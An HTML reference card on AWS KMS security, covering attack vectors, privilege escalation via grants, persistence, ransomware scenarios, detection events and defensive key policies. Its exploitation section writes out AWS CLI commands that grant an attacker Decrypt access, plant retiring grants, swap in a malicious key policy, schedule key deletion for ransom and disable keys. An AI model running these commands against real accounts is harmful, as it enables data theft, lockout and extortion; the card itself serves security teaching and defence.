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<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>AWS KMS Security | AWS Security Cards</title>
<meta name="description" content="Key Management Service (KMS) manages cryptographic keys for encrypting data across AWS services. Key policies control access. Compromising KMS keys grants access to all encrypted data.">
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</style>
</head>
<body>
<!-- Card Image -->
<div class="card-image">
<img src="../images/kms-card.webp" alt="AWS KMS Security" />
</div>
<!-- Header -->
<div class="header">
<div class="header-content">
<div class="header-icon"><img src="../icons/kms.svg" alt="AWS KMS Security" /></div>
<div>
<div>
<span class="header-title">AWS KMS Security</span>
<span class="header-badge">ENCRYPTION</span>
</div>
<p class="header-desc">Key Management Service (KMS) manages cryptographic keys for encrypting data across AWS services. Key policies control access. Compromising KMS keys grants access to all encrypted data.</p>
</div>
</div>
</div>
<!-- Stats -->
<div class="stats-row">
<div class="stat-card">
<div class="stat-value" style="color: #f87171;">HIGH</div>
<div class="stat-label">Risk Level</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #4ade80;">Regional</div>
<div class="stat-label">Scope</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #60a5fa;">Sym/Asym</div>
<div class="stat-label">Key Types</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #c084fc;">CMK/AWS</div>
<div class="stat-label">Management</div>
</div></div>
<!-- Overview -->
<div class="section"><h2><span style="color:#06b6d4;">📋</span> Service Overview</h2><div class="overview-grid">
<div>
<h4 style="color: #06b6d4;">Customer Managed Keys (CMK)</h4>
<p>Keys you create, own, and manage. Full control over key policies, rotation, and deletion. Can be symmetric (AES-256) or asymmetric (RSA, ECC).</p>
<div class="attack-note"><span style="color:#06b6d4;">Attack note:</span> Key policies often too permissive, allowing privilege escalation through CreateGrant</div>
</div>
<div>
<h4 style="color: #06b6d4;">AWS Managed Keys</h4>
<p>Created and managed by AWS services (aws/s3, aws/ebs, etc). Automatic rotation. Limited policy control. Cannot be deleted or shared cross-account.</p>
<div class="attack-note"><span style="color:#06b6d4;">Attack note:</span> Compromising IAM grants implicit access to AWS managed keys through service permissions</div>
</div></div></div>
<!-- Risk Assessment -->
<div class="section">
<h2>Security Risk Assessment</h2>
<div class="risk-gauge">
<div class="risk-bar-container">
<div class="risk-bar">
<div class="risk-bar-fill" style="width: 80%;"></div>
</div>
<div class="risk-labels"><span>Low</span><span>Medium</span><span>High</span><span>Critical</span></div>
</div>
<div class="risk-score">
<div class="risk-score-value">8.0</div>
<div class="risk-score-label">Risk Score</div>
</div>
</div>
<p class="risk-desc">KMS key compromise grants access to all encrypted data across S3, EBS, RDS, and other services. Key policies with Principal: * or overly permissive grants are common attack vectors.</p>
</div>
<!-- Main Panels -->
<div class="panels-grid">
<div class="panel" style="border-color: #f8717133;">
<h3 style="color: #f87171;">⚔️ Attack Vectors</h3><h4 style="color: #f87171;">Key Policy Attacks</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> Overly permissive key policies</li><li><span class="bullet" style="color: #f87171;">•</span> Principal: * without conditions</li><li><span class="bullet" style="color: #f87171;">•</span> Missing kms:ViaService restrictions</li><li><span class="bullet" style="color: #f87171;">•</span> Cross-account key sharing abuse</li><li><span class="bullet" style="color: #f87171;">•</span> Disabled key rotation exploitation</li></ul><h4 style="color: #f87171;">Grant Abuse</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> Create grants for attacker principal</li><li><span class="bullet" style="color: #f87171;">•</span> Retiring grants for persistence</li><li><span class="bullet" style="color: #f87171;">•</span> Grant token theft from metadata</li><li><span class="bullet" style="color: #f87171;">•</span> Cross-account grant creation</li><li><span class="bullet" style="color: #f87171;">•</span> Delegating grant permissions</li></ul></div>
<div class="panel" style="border-color: #fb923c33;">
<h3 style="color: #fb923c;">⚠️ Misconfigurations</h3><h4 style="color: #fb923c;">Key Policy Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> kms:* allowing all actions</li><li><span class="bullet" style="color: #fb923c;">•</span> Principal: * in key policy</li><li><span class="bullet" style="color: #fb923c;">•</span> Missing MFA conditions</li><li><span class="bullet" style="color: #fb923c;">•</span> No kms:ViaService condition</li><li><span class="bullet" style="color: #fb923c;">•</span> Cross-account without restrictions</li></ul><h4 style="color: #fb923c;">Operational Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> Key rotation disabled</li><li><span class="bullet" style="color: #fb923c;">•</span> No deletion protection</li><li><span class="bullet" style="color: #fb923c;">•</span> Grants without constraints</li><li><span class="bullet" style="color: #fb923c;">•</span> Exposed key aliases</li><li><span class="bullet" style="color: #fb923c;">•</span> Missing CloudTrail logging</li></ul></div>
<div class="panel" style="border-color: #22d3ee33;">
<h3 style="color: #22d3ee;">🔍 Enumeration</h3>
<div class="cmd-block">
<div class="cmd-title">List All Keys</div>
<pre><code>aws kms list-keys --region us-east-1</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">List Key Aliases</div>
<pre><code>aws kms list-aliases</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Get Key Policy</div>
<pre><code>aws kms get-key-policy \\
--key-id KEY_ID \\
--policy-name default</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">List Grants</div>
<pre><code>aws kms list-grants --key-id KEY_ID</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Describe Key</div>
<pre><code>aws kms describe-key --key-id KEY_ID</code></pre>
</div></div>
<div class="panel" style="border-color: #c084fc33;">
<h3 style="color: #c084fc;">📈 Privilege Escalation</h3><h4 style="color: #c084fc;">Grant-Based Escalation</h4><ul><li><span class="bullet" style="color: #c084fc;">•</span> kms:CreateGrant to grant self Decrypt</li><li><span class="bullet" style="color: #c084fc;">•</span> kms:PutKeyPolicy to modify policy</li><li><span class="bullet" style="color: #c084fc;">•</span> Create retiring grants for persistence</li><li><span class="bullet" style="color: #c084fc;">•</span> Leverage existing grants tokens</li><li><span class="bullet" style="color: #c084fc;">•</span> Cross-account role assumption</li></ul><h4 style="color: #c084fc;">Escalation Paths</h4><ul><li><span class="bullet" style="color: #c084fc;">•</span> IAM user → CreateGrant → Decrypt all data</li><li><span class="bullet" style="color: #c084fc;">•</span> Lambda role → Key access → S3 objects</li><li><span class="bullet" style="color: #c084fc;">•</span> EC2 role → EBS volume decryption</li><li><span class="bullet" style="color: #c084fc;">•</span> Cross-account → Trust relationship</li><li><span class="bullet" style="color: #c084fc;">•</span> Service role → AWS managed key access</li></ul><div class="note"><strong>Key insight:</strong> CreateGrant permission is often overlooked but allows full privilege escalation to Decrypt.</div></div>
<div class="panel" style="border-color: #facc1533;">
<h3 style="color: #facc15;">🔗 Persistence</h3><h4 style="color: #facc15;">Persistence Mechanisms</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> Create retiring grants (survive IAM changes)</li><li><span class="bullet" style="color: #facc15;">•</span> Add backup key administrator</li><li><span class="bullet" style="color: #facc15;">•</span> Enable cross-account access</li><li><span class="bullet" style="color: #facc15;">•</span> Create alias to attacker-controlled key</li><li><span class="bullet" style="color: #facc15;">•</span> Import key material (control encryption)</li></ul><h4 style="color: #facc15;">Ransomware Scenarios</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> Schedule key deletion (7-30 day ransom)</li><li><span class="bullet" style="color: #facc15;">•</span> Disable key (immediate data lockout)</li><li><span class="bullet" style="color: #facc15;">•</span> Re-encrypt with attacker key</li><li><span class="bullet" style="color: #facc15;">•</span> Delete all grants (lockout legitimate users)</li><li><span class="bullet" style="color: #facc15;">•</span> Modify key policy (remove access)</li></ul></div>
<div class="panel" style="border-color: #4ade8033;">
<h3 style="color: #4ade80;">🛡️ Detection</h3><h4 style="color: #4ade80;">CloudTrail Events</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> CreateGrant - grant created</li><li><span class="bullet" style="color: #4ade80;">•</span> PutKeyPolicy - policy modified</li><li><span class="bullet" style="color: #4ade80;">•</span> ScheduleKeyDeletion - key deletion</li><li><span class="bullet" style="color: #4ade80;">•</span> DisableKey - key disabled</li><li><span class="bullet" style="color: #4ade80;">•</span> Decrypt - data decryption</li></ul><h4 style="color: #4ade80;">Indicators of Compromise</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> Unusual CreateGrant from new principals</li><li><span class="bullet" style="color: #4ade80;">•</span> Cross-account Decrypt operations</li><li><span class="bullet" style="color: #4ade80;">•</span> Key policy modifications</li><li><span class="bullet" style="color: #4ade80;">•</span> Bulk decryption events</li><li><span class="bullet" style="color: #4ade80;">•</span> GuardDuty KMS findings</li></ul></div></div>
<!-- Exploitation -->
<div class="section"><h2><span style="color:#f87171;">💻</span> Exploitation Commands</h2><div class="cmd-grid">
<div class="cmd-block">
<div class="cmd-title">Create Grant (Privilege Escalation)</div>
<pre><code>aws kms create-grant \\
--key-id KEY_ID \\
--grantee-principal arn:aws:iam::ACCOUNT:user/attacker \\
--operations Decrypt Encrypt</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Decrypt Data</div>
<pre><code>aws kms decrypt \\
--ciphertext-blob fileb://encrypted.dat \\
--output text --query Plaintext | base64 -d</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Schedule Key Deletion (Ransom)</div>
<pre><code>aws kms schedule-key-deletion \\
--key-id KEY_ID \\
--pending-window-in-days 7</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Modify Key Policy</div>
<pre><code>aws kms put-key-policy \\
--key-id KEY_ID \\
--policy-name default \\
--policy file://malicious-policy.json</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Create Retiring Grant (Persistence)</div>
<pre><code>aws kms create-grant \\
--key-id KEY_ID \\
--grantee-principal ATTACKER_ARN \\
--retiring-principal ATTACKER_ARN \\
--operations Decrypt</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Disable Key (DoS)</div>
<pre><code>aws kms disable-key --key-id KEY_ID</code></pre>
</div></div></div>
<!-- Policies -->
<div class="section"><h2><span style="color:#4ade80;">📜</span> Policy Examples</h2><div class="policy-grid">
<div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
<div class="policy-header">
<span style="color: #f87171; font-size: 1.2em;">✗</span>
<span style="color: #f87171; font-weight: 600;">Dangerous - Overly Permissive</span>
</div>
<pre><code>{
"Effect": "Allow",
"Principal": "*",
"Action": "kms:*",
"Resource": "*"
}</code></pre>
<p class="policy-desc">Anyone can perform any KMS action - full key compromise</p>
</div>
<div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
<div class="policy-header">
<span style="color: #4ade80; font-size: 1.2em;">✓</span>
<span style="color: #4ade80; font-weight: 600;">Secure - Least Privilege</span>
</div>
<pre><code>{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::123456789012:role/AppRole"},
"Action": ["kms:Decrypt", "kms:GenerateDataKey"],
"Resource": "*",
"Condition": {
"StringEquals": {"kms:ViaService": "s3.us-east-1.amazonaws.com"}
}
}</code></pre>
<p class="policy-desc">Only specific role, limited actions, service-restricted</p>
</div>
<div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
<div class="policy-header">
<span style="color: #f87171; font-size: 1.2em;">✗</span>
<span style="color: #f87171; font-weight: 600;">Risky - No ViaService Condition</span>
</div>
<pre><code>{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::123456789012:role/AppRole"},
"Action": ["kms:Decrypt", "kms:Encrypt"],
"Resource": "*"
}</code></pre>
<p class="policy-desc">Missing ViaService allows direct KMS API calls</p>
</div>
<div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
<div class="policy-header">
<span style="color: #4ade80; font-size: 1.2em;">✓</span>
<span style="color: #4ade80; font-weight: 600;">Secure - MFA Required</span>
</div>
<pre><code>{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::123456789012:user/admin"},
"Action": ["kms:ScheduleKeyDeletion", "kms:PutKeyPolicy"],
"Resource": "*",
"Condition": {
"Bool": {"aws:MultiFactorAuthPresent": "true"}
}
}</code></pre>
<p class="policy-desc">Sensitive operations require MFA</p>
</div></div></div>
<!-- Defenses -->
<div class="section"><h2><span style="color:#4ade80;">🛡️</span> Defense Recommendations</h2><div class="defense-grid">
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔒</span>
<div>
<h4>Least Privilege Key Policies</h4>
<p>Restrict kms:* - only allow specific actions needed (Decrypt, GenerateDataKey).</p>
<pre><code>"Action": ["kms:Decrypt", "kms:GenerateDataKey"]</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔐</span>
<div>
<h4>Require MFA for Admin Actions</h4>
<p>Add MFA condition to sensitive operations like key deletion and policy changes.</p>
<pre><code>"Condition": {"Bool": {"aws:MultiFactorAuthPresent": "true"}}</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔄</span>
<div>
<h4>Enable Key Rotation</h4>
<p>Enable automatic annual key rotation for symmetric CMKs.</p>
<pre><code>aws kms enable-key-rotation --key-id KEY_ID</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🚫</span>
<div>
<h4>Deletion Protection</h4>
<p>Deny ScheduleKeyDeletion in SCP or key policy to prevent ransomware.</p>
<pre><code>"Effect": "Deny", "Action": "kms:ScheduleKeyDeletion"</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">📝</span>
<div>
<h4>Monitor with CloudTrail</h4>
<p>Set up CloudWatch alarms for CreateGrant, PutKeyPolicy, and Decrypt events.</p>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔍</span>
<div>
<h4>Regular Grant Audits</h4>
<p>Regularly review and revoke unnecessary grants.</p>
<pre><code>aws kms list-grants --key-id KEY_ID | jq '.Grants[]'</code></pre>
</div>
</div>
</div></div></div>
<!-- Footer -->
<div class="footer">
<p>AWS KMS Security Card</p>
<p style="margin-top:0.25rem;">Always obtain proper authorization before testing</p>
</div>
</body>
</html>